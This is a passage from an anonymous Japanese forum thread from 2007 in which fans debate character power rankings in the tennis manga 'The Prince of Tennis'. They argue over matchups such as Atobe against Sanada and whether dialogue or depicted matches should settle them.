書いただけ。金に勝てる可能性を論ずるっていわれてもあいつは描写が足りなさ過ぎるというか
うやむやすぎてかくの難しい。
ってか蟹と跡部がほぼ同レベルなら金と戦えばおのずと同じような結果じゃね？これでいいんじゃね？
天衣うんぬんは別として・・・。
あと金あたりの事を書けみたいな事いってるけど上での議論で跡部と真田について言ってるんだから
それに乗じて俺みたいな事かいちゃいけねえのか？それねえだろ？だから俺みたいなのもあったっていいじゃん。

95:名無しさんの次レスにご期待下さい
07/09/01 17:33:44 vvbdNYMm0
>>93
そもそもの始まりは真田の強さを示す中に跡部が出てきて跡部と真田の話になったわけで
別に跡部を持ち上げるためにこの話が始まったわけじゃないぞ

96:名無しさんの次レスにご期待下さい
07/09/01 18:00:53 2xd/uBKLO
人間なら、試合の流れの中で位置や体勢や視線を目まぐるしく動かす内でどうしても死角ができる事がある
でも一瞬一瞬のことなのでそれを見極めて突くという事は普通できないがそれを可能にしたのが氷
顔に手をやるだけでいつでも必ず死角が見えるならサーブでもそうするしタンホイもいらない。
また精密な狙いがあって成り立つ技なので、ゾーンのように意のままに操れなくとも
パワー任せなどで思ったように狙わせない事は可能、成功率を下げられる度合いは選手次第。

と考えたら金銀は十分戦えるのではないだろうか。
真田の場合、山にこだわってた限り負けという意味かも知れないし
火のパワーでは狙いをそらしそこねる方が多く結果的には負けるという意味かも知れない、雷はわからん。

97:名無しさんの次レスにご期待下さい
07/09/01 18:02:15 HL5PUu6D0
跡部の氷の世界は風林火陰山雷に対応させてみると
山：真田死角つかれる。親玉から「あのまま戦っていたら負けていたぞ」
林：林の効果は今の所相手の回転を和らげるものなので氷の世界の勝ちかも
林の回転で氷の世界の威力が落ちるのなら勝てないが…
風：アフォベ様が返せれば良いんじゃない？
火：アフォベ様が返せれば良いんじゃない？
陰：一縷の隙も無くすなら死角つけなくね？
雷：手塚ゾーンでしか打ち返せないので無理

風火を跡部が返せると仮定して林が回転を和らげるものなら
雷陰真田＞＞氷の世界跡部＞真田＞＞跡部
になるのかな？氷の世界が通用しないならアフォベ様勝つの無理ｗ

金太郎と跡部だけどなんか
アフォベ「ば…馬鹿な！こいつ死角がねえ！」
これでフルボッコされると思うな…たしけ的に考えて

98:名無しさんの次レスにご期待下さい
07/09/01 18:04:30 i6qBXKMH0
話ぶった切って悪いが、おれへのレスがあったので

>>80
仮に「亜久津にデータは通用しない」って台詞があったとしても亜久津＞柳にはならないって言ってるんだよ

これはむしろおれが主張したかったことだろｗ

「このまま続けてたら負けてたぞ」って台詞があったとしても跡部＞真田にはならない

たまに↑の発言は雷陰含めた発言なのか？ってレスがあるから
描写無視して台詞を重要視するのはどうかと、と言ったんだよｗ

>>72
＞手塚より弱いやつが真田に勝てるわけない
はっきり言ってこんなこと言う奴は強さ議論に向いてないよ

現状では真田と手塚がぶっちぎりなんだから、そこに他のキャラが入る余地はないだろ
確かに、A＞Bで、B＞CならA＞Cというのは必ずしも成り立たないだろうけど
A≫BでB＞Cなら、A≫Cは成り立つだろ

99:名無しさんの次レスにご期待下さい
07/09/01 18:09:12 m5N9S7iC0
真田のサーブを氷の世界で返せば良い。
陰で無効にされないこと、真田のパワーに圧される事なくきっちり死角を
つける事が条件だが。

>>97
金太郎は死角つかれても、打球を追い抜けるからなぁ。
「馬鹿な、あの状態から返して来やがった？」となる気が。

100:名無しさんの次レスにご期待下さい
07/09/01 18:10:42 vvbdNYMm0
>>98
お前はそれを発言を信用しないことで主張しようとしてるだろ
「亜久津＞柳になっちゃうから発言は信用しない」って
俺はその発言を信用しても亜久津＞柳にならないって言ってるの
主張してることが全然違う

101:名無しさんの次レスにご期待下さい
07/09/01 18:14:02 vvbdNYMm0
>>99
一度だけサーブに対して氷発動してるっぽいけど
それ以外の描写を見るとどう見てもラリーしてるとしか思えないから
サーブ、リターンでの氷発動はできたとしてもたまにしかできないと見ていいと思う

反応できないのに追いつけるわけはないと思うが

102:名無しさんの次レスにご期待下さい
07/09/01 18:19:49 i6qBXKMH0
>>100
描写無視して台詞を重要視するのはどうかと≠発言は無視しよう
だからな。
お前、極端だなｗ
台詞を考慮した上で台詞より重要視できる描写があるんなら
台詞にこだわりすぎずそっちでいこうってことだから

103:名無しさんの次レスにご期待下さい
07/09/01 18:26:44 vvbdNYMm0
>>102
>お前、極端だなｗ
そっくり返すよ
お前の中に「データが通じない＝柳より強い」っていう妙な考えが固まってるから妙なことになってるんだろうが

104:名無しさんの次レスにご期待下さい
07/09/01 18:38:41 m5N9S7iC0
>>101
ラリーしなきゃいけないなら跡部に勝ち目ゼロだな。

さすがに死角をつかれると無理かな。
頭上抜かれても追いつけてたから可能かと思ったんだが。

105:名無しさんの次レスにご期待下さい
07/09/01 18:40:31 sZpfZEsQ0
まあ普通に考えたら真田vs跡部は圧倒的に真田有利は否めない。
とにかく
①真田の雷を跡部はいかに打たせ続けるか
②陰での氷は防げない
③タンホイザーで雷火林を使わす（①に関連づける）or反応すらできない
という条件がそろえば勝てる可能性はあるぐらいですよ。
俺としては②は普通に今のままでもすでに効果ありそうな気がするんだけど
描写ないから肯定も否定もしませんが。

106:名無しさんの次レスにご期待下さい
07/09/01 18:47:29 jxjaJaaXO
>>104
まああれはラケットにボールが当たらなくて後ろへ抜けただけで
反応できないコースへ打たれたわけじゃないからね

107:名無しさんの次レスにご期待下さい
07/09/01 18:55:29 sZpfZEsQ0
ってか真田のハイランカー！はコードボール時には何度もできる業（技ではない）なんだろうか・・・？

108:名無しさんの次レスにご期待下さい
07/09/01 19:04:52 2gPNHKyH0
真田って氷で後ろ抜かれても光速の雷で追いつけるんじゃね？
手塚の倍返し火で完全に後ろ抜かれてもあっさり追いついてじゃん

109:名無しさんの次レスにご期待下さい
07/09/01 19:09:54 m4LDLNSs0
強さ議論で何度もハイランカーが出てくるとさすがに萎えるな

110:名無しさんの次レスにご期待下さい
07/09/01 19:37:55 2yVIeM240
>>108
同じようにボールより速く動ける金太郎に氷の世界が通用しないってことだね

111:名無しさんの次レスにご期待下さい
07/09/01 19:42:39 tA7Toi7y0
球を見失っても高速で移動して位置を変えれば死角も変わるから普通に返球できるかもな

112:名無しさんの次レスにご期待下さい
07/09/01 20:46:16 m5N9S7iC0
跡部が真田に勝つには
氷の世界が通用し、なおかつ真田のサーブを氷の世界で返せる必要がある
これさえ満たせば持久戦に持ち込むのは可能なはず

113:名無しさんの次レスにご期待下さい
07/09/01 21:30:29 5Z90txQI0
跡部様が照明落としをマスターすれば勝てる

114:名無しさんの次レスにご期待下さい
07/09/01 22:25:16 i6qBXKMH0
>>103
お前はおれが亜久津＞柳を主張してると思ってるのか？
何回も言うけど、おれは柳＞亜久津だと思ってると主張してるだろ
理解しろよｗ
つまり「たとえデータが通じないという台詞があったとしても描写を見る限り柳の方が格上」だと思ってるわけだ
台詞でAにはBの技が通じない、それならA＞Bだ。とするのはまずいと言ってるわけだ。

115:名無しさんの次レスにご期待下さい
07/09/01 22:35:17 vvbdNYMm0
>>114
お前が勝手に
「データが通用しないってことは柳より強いってことになる
でも描写的に柳の方が強そうだからこの台詞は無視しよう」って頭の中で決定してるだけだろ
>台詞でAにはBの技が通じない、それならA＞Bだ
そもそもこんなこと誰が言ってる？
お前だけじゃね？

116:名無しさんの次レスにご期待下さい
07/09/01 22:47:03 Yjxtvo6bO
>>114
柳と亜久津を持ち出して長々と書き込んでるけど結局言いたいのは
幸村の発言が真田厨にとって都合が悪いから考慮外にしてくれってことだろ？
変な理論で煙に巻いてないでそこを主張していけよ

117:名無しさんの次レスにご期待下さい
07/09/01 22:54:18 lrqsZnh10
単純に「火で手塚ゾーン崩せるんだから氷の世界も崩せんじゃね？」ぐらい言っときゃいいと思うんだがな
それとも山でも勝てることにしたいのか？

118:名無しさんの次レスにご期待下さい
07/09/01 22:55:04 lGzYpozW0
なぜ亜久津と柳を出してきたのかわからんな
発言は信憑性がないというのを主張したいのなら
詳しい描写がないから発言を全て鵜呑みにするのは止めろって言うだけで良いだろ
極端すぎるな
樺地に対する「試合前のデータは何の意味も持たない」の方がまだマシ
そもそも発言不信に対して何かを引き合いに出すのはおかしいな

119:名無しさんの次レスにご期待下さい
07/09/01 22:58:06 vNrjqCa+0
氷忍足と貝と菊丸と日吉とイブと神尾が総当りしたらどんな結果になる
妄想聞かせてくれ
ゲームカウント付で

120:名無しさんの次レスにご期待下さい
07/09/01 23:01:05 jxjaJaaXO
大抵の人は
まあデータが通用しなくても地力の差で柳が勝だろ
って思ういそうなところなのに
何故か一人だけデータが通じないと柳が負けることにしちゃってるし
主張したいことと例え話がここまでかみ合わない奴も珍しい

121:名無しさんの次レスにご期待下さい
07/09/01 23:16:12 2bblBFcx0
そもそも柳が亜久津に対して「データテニスが通用しない」って言ってるのか？

122:名無しさんの次レスにご期待下さい
07/09/01 23:25:19 i6qBXKMH0
>>115
たとえば>>36 >>89 >>92

>>116
そうゆうことっす

>>117
真田≫跡部＞山真田　だと思ってる

>>118
確かに引き合いのネタは悪かったかもな。スマン

>>120
＞まあデータが通用しなくても地力の差で柳が勝だろ
これはむしろ、おれが一番思ってることで。
なぜ真田との引き合いに跡部、千歳との引き合いに木手が出される
のにもいつも疑問を感じてる

長々とスマンかったね

123:名無しさんの次レスにご期待下さい
07/09/01 23:30:47 fA/bT2iy0
もう真田の話やめようぜ～
ますますご機嫌が悪くなるよ～

124:名無しさんの次レスにご期待下さい
07/09/01 23:48:34 lGzYpozW0
>>122
その2組は実力がかけ離れてないから良いんじゃない？
真田と跡部は一度試合の描写があった為
千歳と木手は全方向縮地が才気にどの程度抵抗できるのか比べる為
柳と亜久津はちょっと違うな
あらゆる試合結果を議論するところではあるがその組み合わせはないな

125:名無しさんの次レスにご期待下さい
07/09/01 23:55:54 q6VqtnMm0
え？かけ離れてない・・・？

いや、煽るつもりはまったくないんだが、本当に

126:名無しさんの次レスにご期待下さい
07/09/02 00:37:42 uG7/YmCf0
そんな明々白々なループはさておき。

柳・切原に乾・海堂が勝ったら金星みたいなレスをよく見るけど
この二つのダブルスって金星というほど実力差あるだろうか。
切原と海堂は現時点ではちょっと差がありそうだけど柳と乾はそんな変わらんような。

127:名無しさんの次レスにご期待下さい
07/09/02 00:57:23 4UDN8m9z0
>>126
切原・乾と柳・海堂で比べてみたらわかる

わかること＝勝敗は実力の差ではない

128:名無しさんの次レスにご期待下さい
07/09/02 01:07:55 S00Lwu3S0
銀を不二や白石、橘とかと同ランクにする意見多いけど普通に不二クラスのテクニックあれば
波動球無効化できるんじゃない？最低でも打たせないようには戦えるかと。
じゃないと最初のランキング戦のＣブロックの１位通過者が寿司になっていまうぞｗｗ
まぁあん時の寿司はまだ波動球使えないけどさ。手塚・不二・越前がパワーでごり押しされるなんて想像できない！

129:名無しさんの次レスにご期待下さい
07/09/02 01:09:03 7NjiTCsY0
>>127
何言いたいのかさっぱりわからんｗ

130:名無しさんの次レスにご期待下さい
07/09/02 01:15:31 RN3B3vri0
>>128
普通の打球が弟の波動球と同等以上なわけだが

131:名無しさんの次レスにご期待下さい
07/09/02 01:17:40 4UDN8m9z0
>>129
海堂と切原がちょっとの差だとしたら
乾と切原はどっちが上だと思うの？
そんで海堂と乾はどっちが上だと思ってんの？

132:名無しさんの次レスにご期待下さい
07/09/02 01:29:39 pjHF35tR0
>>128
河村と銀を同じに考えてる時点でダメダメだと思うんだが。

銀の波動球サーブを、ヘカトン、手塚ファントム、氷の世界らで完全にリターン取っても、
相手側のサーブを銀にリターンされると終わりなんだが。一桁波動球の時点で対処不能になる。

しかも、銀は神尾戦や河村戦を見るとわかるように、パワーだけでなく技術もある。
最低、扉クラス以降の変態プレイヤーじゃないと完封は困難。
部長クラスでは有利に戦えたとしても、一球のリターンすら許さず勝利は想像できないだろ？
全体的に部長クラスのキャラは変態度が足りないためキビシイ。むしろ不利。

>>128はキャラのイメージや格だけで語ってる。

133:名無しさんの次レスにご期待下さい
07/09/02 01:34:51 7NjiTCsY0
>>131
126は自分じゃないんで
海堂と切原がちょっとの差だとかいう前提持ち出して話されても困る
だから何が言いたいの？

134:名無しさんの次レスにご期待下さい
07/09/02 01:45:42 4UDN8m9z0
>>133
>>126へのレスなのにお前がわかること前提にレスつけられても困る

135:名無しさんの次レスにご期待下さい
07/09/02 01:47:51 7NjiTCsY0
>>129にレスついてるじゃん
説明できないなら最初から噛み付くなよ

136:名無しさんの次レスにご期待下さい
07/09/02 01:55:09 4UDN8m9z0
>>135
お前へのレスじゃないんだから最初から横槍入れんなよ

137:名無しさんの次レスにご期待下さい
07/09/02 01:58:25 NFBHtho+0
ID:7NjiTCsY0へのレスじゃないなら、最初からお前がレスつけなきゃいいだけ

そんなことより勝敗は実力の差ではないなら何で決まるのか
むしろそれが知りたい

138:名無しさんの次レスにご期待下さい
07/09/02 01:59:12 53WHHIsx0
銀の波動球108式をサーブでやられたらどうやっても返球は不可能だと思うんだ

139:名無しさんの次レスにご期待下さい
07/09/02 02:03:00 /CiGlP9c0
でもそんな描写がないからできないものと仮定

140:名無しさんの次レスにご期待下さい
07/09/02 02:06:40 TjmcsWKe0
>>126
乾は生粋のシングルスプレーヤー、対して柳はダブルスが本職だから
ダブルスでは結構な差があるんじゃないかって見方
ついでに赤目と海堂の差もちょっとどころではない、悪魔化も考えるなら絶望的

141:名無しさんの次レスにご期待下さい
07/09/02 02:07:33 4UDN8m9z0
>>137
つうか勝敗が実力の差で決まると思ってるのかよｗ
今までこの漫画の何を見てきたんだお前

142:名無しさんの次レスにご期待下さい
07/09/02 02:14:08 BtlyBB1n0
結局>>127は意味不明なままかぁ

143:名無しさんの次レスにご期待下さい
07/09/02 02:20:55 RN3B3vri0
>>138
サーブ自体が波動球、だから既に返せる奴は限られてる

144:名無しさんの次レスにご期待下さい
07/09/02 08:21:32 RN3B3vri0
波動球ってロブやドロップショットが来たら出せなくなると思うんだけど

145:名無しさんの次レスにご期待下さい
07/09/02 09:27:59 KnwzngjJ0
>>144
そういうこと。
だから銀を倒すには波動球サーブを返せるパワーと波動球を打たせないテクニックがあればいい。
もっともその条件を満たしてるのは橘、白石クラス以上の奴に限られてるけど。

146:名無しさんの次レスにご期待下さい
07/09/02 10:25:04 MgYksXdl0
>>132
銀はリターンで波動球は一発も撃ってないぞ

147:名無しさんの次レスにご期待下さい
07/09/02 10:54:53 fj+K82uRO
つーか、氷帝はかませ犬だから
跡部は強豪校の奴らには勝てないだろ

148:名無しさんの次レスにご期待下さい
07/09/02 11:32:56 0alCkxhH0
>>128
越前はビッグバンや火に苦戦してるあたりきついんじゃね？

>>141
こいつとこいつが対戦したら、こいつを勝たせるだろ、と予想する議論をするのか？
実力ごとにランク付けするもんだと思ってたが

>>146
河村がサーブをダッシュ波動球で返してるあたり、描写省いてるだけで
銀にも打ちごろのサーブなら波動球で返せると思うけど

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